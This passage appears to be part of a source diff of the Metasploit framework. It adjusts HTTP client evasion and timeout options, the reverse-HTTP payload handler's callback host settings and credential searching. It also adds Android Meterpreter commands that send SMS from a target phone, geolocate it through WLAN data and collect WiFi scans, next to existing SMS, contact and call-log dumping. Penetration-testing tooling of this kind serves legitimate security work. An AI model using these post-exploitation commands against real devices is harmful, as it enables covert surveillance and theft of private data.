match: session.exploit.user_data[:match],
run: session.exploit.user_data[:run],
state: 'succeeded',
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED,
)
infer_vuln_from_session(session, wspace)
elsif session.via_exploit
# This is a live session, we know the host is vulnerable to something.
infer_vuln_from_session(session, wspace)
+8
View File
@@ -1285,6 +1285,14 @@ class Exploit < Msf::Module
end
end
if user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: user_data[:match],
run: user_data[:run],
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED,
)
end
framework.db.report_exploit_failure(info)
end
+25 -4
View File
@@ -53,7 +53,7 @@ module Exploit::Remote::HttpClient
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20])
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
], self.class
)
@@ -68,6 +68,8 @@ module Exploit::Remote::HttpClient
OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),
OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),
OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),
OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]),
OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]),
OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),
OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),
OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),
@@ -176,6 +178,8 @@ module Exploit::Remote::HttpClient
'method_random_valid' => datastore['HTTP::method_random_valid'],
'method_random_invalid' => datastore['HTTP::method_random_invalid'],
'method_random_case' => datastore['HTTP::method_random_case'],
'version_random_valid' => datastore['HTTP::version_random_valid'],
'version_random_invalid' => datastore['HTTP::version_random_invalid'],
'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'],
'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'],
@@ -236,6 +240,8 @@ module Exploit::Remote::HttpClient
evade_method_random_valid: datastore['HTTP::method_random_valid'],
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
evade_method_random_case: datastore['HTTP::method_random_case'],
evade_version_random_valid: datastore['HTTP::version_random_valid'],
evade_version_random_invalid: datastore['HTTP::version_random_invalid'],
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
@@ -308,7 +314,12 @@ module Exploit::Remote::HttpClient
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
#
def send_request_raw(opts={}, timeout = 20)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
end
begin
c = connect(opts)
r = c.request_raw(opts)
@@ -325,7 +336,12 @@ module Exploit::Remote::HttpClient
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
#
def send_request_cgi(opts={}, timeout = 20)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
end
begin
c = connect(opts)
r = c.request_cgi(opts)
@@ -344,7 +360,12 @@ module Exploit::Remote::HttpClient
# will contain the full URI.
#
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
end
res = send_request_cgi(opts, actual_timeout)
return res unless res && res.redirect? && redirect_depth > 0
+18 -6
View File
@@ -55,7 +55,9 @@ module ReverseHttp
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']),
OptBool.new('OverrideRequestHost', [false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false]),
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
], Msf::Handler::ReverseHttp)
@@ -89,13 +91,23 @@ module ReverseHttp
#
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri(req)
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
callback_host = nil
# Extract whatever the client sent us in the Host header
if req && req.headers && req.headers['Host']
callback_host = req.headers['Host']
elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
else
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
end
# Override the host and port as appropriate
if datastore['OverrideRequestHost'] || callback_host.nil?
callback_name = datastore['OverrideLHOST'] || datastore['LHOST']
callback_port = datastore['OverrideLPORT'] || datastore['LPORT']
if Rex::Socket.is_ipv6? callback_name
callback_name = "[#{callback_name}]"
end
callback_host = "#{callback_name}:#{callback_port}"
end
"#{scheme}://#{callback_host}/"
end
+8 -18
View File
@@ -20,23 +20,13 @@ module Payload::Generic
def initialize(info = {})
super(merge_info(info,
'Arch' => ARCH_ALL - [ARCH_TTY],
'Platform' => ''))
'Platform' => ''
))
register_advanced_options(
[
OptString.new('PLATFORM',
[
false,
"The platform that is being targeted",
nil
]),
OptString.new('ARCH',
[
false,
"The architecture that is being targeted",
nil
])
], Msf::Payload::Generic)
register_advanced_options([
OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]),
OptString.new('ARCH', [false, "The architecture that is being targeted", nil])
], Msf::Payload::Generic)
end
#
@@ -103,8 +93,8 @@ module Payload::Generic
# Stager overrides
#
def stage_payload
redirect_to_actual(:stage_payload)
def stage_payload(*args)
redirect_to_actual(:stage_payload, *args)
end
def stage_offsets
+1 -1
View File
@@ -88,7 +88,7 @@ module Msf::Payload::Stager
# Can be nil if the final stage is not pre-assembled.
#
# @return [String,nil]
def stage_payload
def stage_payload(opts = {})
return module_info['Stage']['Payload']
end
@@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject
^
end
def stage_payload
def stage_payload(opts = {})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
@@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64
^
end
def stage_payload
def stage_payload(opts = {})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
+15 -4
View File
@@ -169,6 +169,7 @@ module Msf::Post::Common
# through /bin/sh, solving all the pesky parsing troubles, without
# affecting Windows.
#
start = Time.now.to_i
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
args = ""
end
@@ -176,9 +177,17 @@ module Msf::Post::Common
session.response_timeout = time_out
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
o = ""
# Wait up to time_out seconds for the first bytes to arrive
while (d = process.channel.read)
break if d == ""
o << d
if d == ""
if (Time.now.to_i - start < time_out) && (o == '')
sleep 0.1
else
break
end
else
o << d
end
end
o.chomp! if o
@@ -296,12 +305,14 @@ module Msf::Post::Common
# Special handle some cases that ARCH_TYPES won't recognize.
# https://msdn.microsoft.com/en-us/library/aa384274.aspx
case target_arch
when /i386/, /i686/
when /i[3456]86|wow64/i
return ARCH_X86
when /amd64/i, /ia64/i
when /(amd|ia|x)64/i
return ARCH_X86_64
end
# Detect tricky variants of architecture types upfront
# Rely on ARCH_TYPES to tell us a framework-recognizable ARCH.
# Notice we're sorting ARCH_TYPES first, so that the longest string
# goes first. This step is used because sometimes let's say if the target
-16
View File
@@ -225,22 +225,6 @@ module Session
"session_#{name}"
end
#
# This method logs the supplied buffer as coming from the remote side of
# the session.
#
def log_from_remote(buf)
rlog(buf, log_source)
end
#
# This method logs the supplied buffer as coming from the local side of
# the session.
#
def log_from_local(buf)
rlog(buf, log_source)
end
##
#
# Core interface
+29 -8
View File
@@ -837,6 +837,7 @@ class Db
print_line " -s <svc names> List creds matching comma-separated service names"
print_line " -u,--user <regex> List users that match this regex"
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
print_line " -O,--origins List creds that match these origins"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line
@@ -925,15 +926,16 @@ class Db
end
def creds_search(*args)
host_ranges = []
port_ranges = []
svcs = []
rhosts = []
host_ranges = []
origin_ranges = []
port_ranges = []
svcs = []
rhosts = []
set_rhosts = false
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ]
user = nil
delete_count = 0
@@ -979,6 +981,13 @@ class Db
mode = :delete
when '-R', '--rhosts'
set_rhosts = true
when '-O', '--origins'
hosts = args.shift
if !hosts
print_error("Argument required for -O")
return
end
arg_host_range(hosts, origin_ranges)
else
# Anything that wasn't an option is a host to search for
unless (arg_host_range(arg, host_ranges))
@@ -1058,11 +1067,22 @@ class Db
next
end
if core.logins.empty?
origin = ''
if core.origin.kind_of?(Metasploit::Credential::Origin::Service)
origin = core.origin.service.host.address
elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session)
origin = core.origin.session.host.address
end
if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) }
next
end
if core.logins.empty? && origin_ranges.empty?
tbl << [
"", # host
"", # port
"", # cred
"", # service
core.public,
core.private,
core.realm,
@@ -1070,7 +1090,6 @@ class Db
]
else
core.logins.each do |login|
# If none of this Core's associated Logins is for a host within
# the user-supplied RangeWalker, then we don't have any reason to
# print it out. However, we treat the absence of ranges as meaning
@@ -1078,7 +1097,9 @@ class Db
if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) }
next
end
row = [ login.service.host.address ]
row << origin
rhosts << login.service.host.address
if login.service.name.present?
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
+1 -1
View File
@@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver
unless configuration_pathname.nil?
if configuration_pathname.readable?
dbinfo = YAML.load_file(configuration_pathname)
dbinfo = YAML.load_file(configuration_pathname) || {}
dbenv = opts['DatabaseEnv'] || Rails.env
db = dbinfo[dbenv]
else
+27 -5
View File
@@ -14,6 +14,27 @@ module Util
class PayloadCachedSize
OPTS = {
'Format' => 'raw',
'Options' => {
'CPORT' => 4444,
'LPORT' => 4444,
'LHOST' => '255.255.255.255',
'KHOST' => '255.255.255.255',
'AHOST' => '255.255.255.255',
'CMD' => '/bin/sh',
'URL' => 'http://a.com',
'PATH' => '/',
'BUNDLE' => 'data/isight.bundle',
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
'RC4PASSWORD' => 'Metasploit',
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh'
},
'Encoder' => nil,
'DisableNops' => true
}
# Insert a new CachedSize value into the text of a payload module
#
# @param data [String] The source code of a payload module
@@ -60,7 +81,7 @@ class PayloadCachedSize
# @return [Fixnum]
def self.compute_cached_size(mod)
return ":dynamic" if is_dynamic?(mod)
return mod.new.size
return mod.generate_simple(OPTS).size
end
# Determines whether a payload generates a static sized output
@@ -69,8 +90,9 @@ class PayloadCachedSize
# @param generation_count [Fixnum] The number of iterations to use to
# verify that the size is static.
# @return [Fixnum]
def self.is_dynamic?(mod,generation_count=5)
[*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1
def self.is_dynamic?(mod, generation_count=5)
[*(1..generation_count)].map{|x|
mod.generate_simple(OPTS).size}.uniq.length != 1
end
# Determines whether a payload's CachedSize is up to date
@@ -78,9 +100,9 @@ class PayloadCachedSize
# @param mod [Msf::Payload] The class of the payload module to update
# @return [Boolean]
def self.is_cached_size_accurate?(mod)
return true if mod.dynamic_size?
return true if mod.dynamic_size? && is_dynamic?(mod)
return false if mod.cached_size.nil?
mod.cached_size == mod.new.size
mod.cached_size == mod.generate_simple(OPTS).size
end
end
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env ruby
require 'net/http'
require 'json'
module Rex
module Google
# @example
# g = Rex::Google::Geolocation.new
# g.add_wlan("00:11:22:33:44:55", "example", -80)
# g.fetch!
# puts g, g.google_maps_url
class Geolocation
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
attr_accessor :accuracy
attr_accessor :latitude
attr_accessor :longitude
def initialize
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
@wlan_list = []
end
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
# addresses of access points), ESSIDs (AP names), and signal strengths.
def fetch!
@uri.query << @wlan_list.take(10).join("&wifi=")
request = Net::HTTP::Get.new(@uri.request_uri)
http = Net::HTTP.new(@uri.host, @uri.port)
http.use_ssl = true
response = http.request(request)
if response && response.code == '200'
results = JSON.parse(response.body)
self.latitude = results["location"]["lat"]
self.longitude = results["location"]["lng"]
self.accuracy = results["accuracy"]
else
msg = "Failure connecting to Google for location lookup."
msg += " Code #{response.code} for query #{@uri}" if response
fail msg
end
end
# Add an AP to the list to send to Google when {#fetch!} is called.
#
# Turns out Google's API doesn't really care about ESSID or signal strength
# as long as you have BSSIDs. Presumably adding them will make it more
# accurate? Who knows.
#
# @param mac [String] in the form "00:11:22:33:44:55"
# @param ssid [String] ESSID associated with the mac
# @param signal_strength [String] a thing like
def add_wlan(mac, ssid = nil, signal_strength = nil)
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
end
def google_maps_url
"https://maps.google.com/?q=#{latitude},#{longitude}"
end
def to_s
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
end
end
end
end
+1
View File
@@ -41,3 +41,4 @@ end
require 'rex/logging/sinks/flatfile'
require 'rex/logging/sinks/stderr'
require 'rex/logging/sinks/timestamp_flatfile'
@@ -0,0 +1,21 @@
# -*- coding: binary -*-
module Rex
module Logging
module Sinks
###
#
# This class implements the LogSink interface and backs it against a
# file on disk with a Timestamp.
#
###
class TimestampFlatfile < Flatfile
def log(sev, src, level, msg, from) # :nodoc:
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
fd.write("[#{get_current_timestamp}] #{msg}\n")
fd.flush
end
end
end end end
@@ -1,11 +1,11 @@
#!/usr/bin/env ruby
#
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/android/tlv'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/client'
require 'rex/post/meterpreter/channels/pools/stream_pool'
module Rex
module Post
module Meterpreter
@@ -17,9 +17,28 @@ module Android
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Android < Extension
COLLECT_TYPE_WIFI = 1
COLLECT_ACTION_START = 1
COLLECT_ACTION_PAUSE = 2
COLLECT_ACTION_RESUME = 3
COLLECT_ACTION_STOP = 4
COLLECT_ACTION_DUMP = 5
COLLECT_TYPES = {
'wifi' => COLLECT_TYPE_WIFI
}
COLLECT_ACTIONS = {
'start' => COLLECT_ACTION_START,
'pause' => COLLECT_ACTION_PAUSE,
'resume' => COLLECT_ACTION_START,
'stop' => COLLECT_ACTION_STOP,
'dump' => COLLECT_ACTION_DUMP
}
def initialize(client)
super(client, 'android')
@@ -30,88 +49,129 @@ class Android < Extension
{
'name' => 'android',
'ext' => self
},
}
])
end
def collect_actions
return @@collect_action_list ||= COLLECT_ACTIONS.keys
end
def collect_types
return @@collect_type_list ||= COLLECT_TYPES.keys
end
def device_shutdown(n)
request = Packet.create_request('device_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
response = client.send_request(request)
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
def interval_collect(opts)
request = Packet.create_request('interval_collect')
request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
response = client.send_request(request)
result = {
headers: [],
collections: []
}
case COLLECT_TYPES[opts[:type]]
when COLLECT_TYPE_WIFI
result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
result[:entries] = []
records = {}
response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')
g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
key = "#{bssid}-#{ssid}"
if !records.include?(key) || records[key][0] < timestamp
# Level is passed through as positive, because UINT
# but we flip it back to negative on this side
level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
records[key] = [timestamp, bssid, ssid, level]
end
end
end
records.each do |k, v|
result[:entries] << v
end
end
result
end
def dump_sms
sms = Array.new
sms = []
request = Packet.create_request('dump_sms')
response = client.send_request(request)
response.each( TLV_TYPE_SMS_GROUP ) { |p|
sms <<
{
response.each(TLV_TYPE_SMS_GROUP) do |p|
sms << {
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
}
}
return sms
end
sms
end
def dump_contacts
contacts = Array.new
contacts = []
request = Packet.create_request('dump_contacts')
response = client.send_request(request)
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
contacts <<
{
response.each(TLV_TYPE_CONTACT_GROUP) do |p|
contacts << {
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
}
}
return contacts
end
contacts
end
def geolocate
loc = Array.new
loc = []
request = Packet.create_request('geolocate')
response = client.send_request(request)
loc <<
{
loc << {
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
}
return loc
loc
end
def dump_calllog
log = Array.new
log = []
request = Packet.create_request('dump_calllog')
response = client.send_request(request)
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
log <<
{
response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
log << {
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
}
}
return log
end
log
end
def check_root
@@ -119,8 +179,38 @@ class Android < Extension
response = client.send_request(request)
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
end
def send_sms(dest, body, dr)
request = Packet.create_request('send_sms')
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
request.add_tlv(TLV_TYPE_SMS_BODY, body)
request.add_tlv(TLV_TYPE_SMS_DR, dr)
if dr == false
response = client.send_request(request)
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
return sr
else
response = client.send_request(request, 30)
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
dr = response.get_tlv(TLV_TYPE_SMS_SR).value
return [sr, dr]
end
end
def wlan_geolocate
request = Packet.create_request('wlan_geolocate')
response = client.send_request(request, 30)
networks = []
response.each(TLV_TYPE_WLAN_GROUP) do |p|
networks << {
'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
}
end
networks
end
end
end
end
end
@@ -7,31 +7,52 @@ module Meterpreter
module Extensions
module Android
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021)
TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022)
TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023)
TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024)
TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025)
TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026)
TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050)
TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051)
TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052)
TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053)
TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054)
# Reuse existing IDs for these
TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP
TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID
TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID
TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL
end
end
+1
View File
@@ -83,6 +83,7 @@ class Console
channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true)
channel.on_command_proc = self.on_command_proc if self.on_command_proc
channel.on_print_proc = self.on_print_proc if self.on_print_proc
channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true)
channel.interact(input, output)
channel.reset_ui
@@ -1,17 +1,17 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
require 'msf/core/auxiliary/report'
require 'rex/google/geolocation'
require 'date'
module Rex
module Post
module Meterpreter
module Ui
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Console::CommandDispatcher::Android
include Console::CommandDispatcher
include Msf::Auxiliary::Report
@@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android
'geolocate' => 'Get current lat-long using geolocation',
'dump_calllog' => 'Get call log',
'check_root' => 'Check if device is rooted',
'device_shutdown' => 'Shutdown device'
'device_shutdown' => 'Shutdown device',
'send_sms' => 'Sends SMS from target session',
'wlan_geolocate' => 'Get current lat-long using WLAN information',
'interval_collect' => 'Manage interval collection capabilities'
}
reqs = {
'dump_sms' => [ 'dump_sms' ],
'dump_contacts' => [ 'dump_contacts' ],
'geolocate' => [ 'geolocate' ],
'dump_calllog' => [ 'dump_calllog' ],
'check_root' => [ 'check_root' ],
'device_shutdown' => [ 'device_shutdown']
'dump_sms' => ['dump_sms'],
'dump_contacts' => ['dump_contacts'],
'geolocate' => ['geolocate'],
'dump_calllog' => ['dump_calllog'],
'check_root' => ['check_root'],
'device_shutdown' => ['device_shutdown'],
'send_sms' => ['send_sms'],
'wlan_geolocate' => ['wlan_geolocate'],
'interval_collect' => ['interval_collect']
}
# Ensure any requirements of the command are met
